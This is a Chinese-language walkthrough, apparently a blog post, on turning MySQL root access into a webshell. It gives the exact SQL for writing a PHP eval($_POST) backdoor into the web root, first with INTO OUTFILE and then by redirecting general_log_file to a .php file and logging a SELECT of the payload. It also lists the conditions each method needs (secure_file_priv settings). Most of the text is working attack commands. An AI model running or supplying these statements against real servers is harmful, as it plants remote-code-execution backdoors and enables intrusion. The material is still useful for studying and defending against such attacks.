0x01 into outfile getshell

在拿到mysqlroot账户密码权限后,可以利用数据库进行getshell,有外连就直接连接数据库,没有外接就可以phpmyadmin等管理工具,getshell最常见的方式就是into outfile了。

在本环境中,提前已获取到物理路径信息为C:\Users\admin\Desktop\PHPstudy\WWW

SQL执行select '<?php eval($_POST[1]); ?>' into outfile 'C:\\Users\\admin\\Desktop\\PHPstudy\\WWW\\1.php';插入马
在这里插入图片描述
语句执行成功
在这里插入图片描述
访问马也可以正常执行
在这里插入图片描述
但是这种写马方法是有要求的,权限首先必须得高权限,其次secure-priv-file需要为空,通过show variables like "%secure%";可以查看
在这里插入图片描述


0x02 利用mysql日志getshell

如果当我们设置了secure-priv-file后,可能就无法通过into outfilegetshell了,此时可以利用另外一个思路利用日志文件来做。

这里是需要对日志文件有读写权限。首先查看日志相关信息show variables like '%general%';
在这里插入图片描述
这里的general_log指的是日志开关状态,general_log_file指的是日志存放位置。

先打开logset global general_log='on';
在这里插入图片描述
然后将log位置改到www目录下,set global general_log_file='C:\\Users\\admin\\Desktop\\PHPstudy\\WWW\\2.php';
在这里插入图片描述
接着访问2.php就可以看到日志文件内容了
在这里插入图片描述
最后将shell语句执行,SELECT '<?php eval($_POST[2]);?>';,写入后访问即可getshell
在这里插入图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐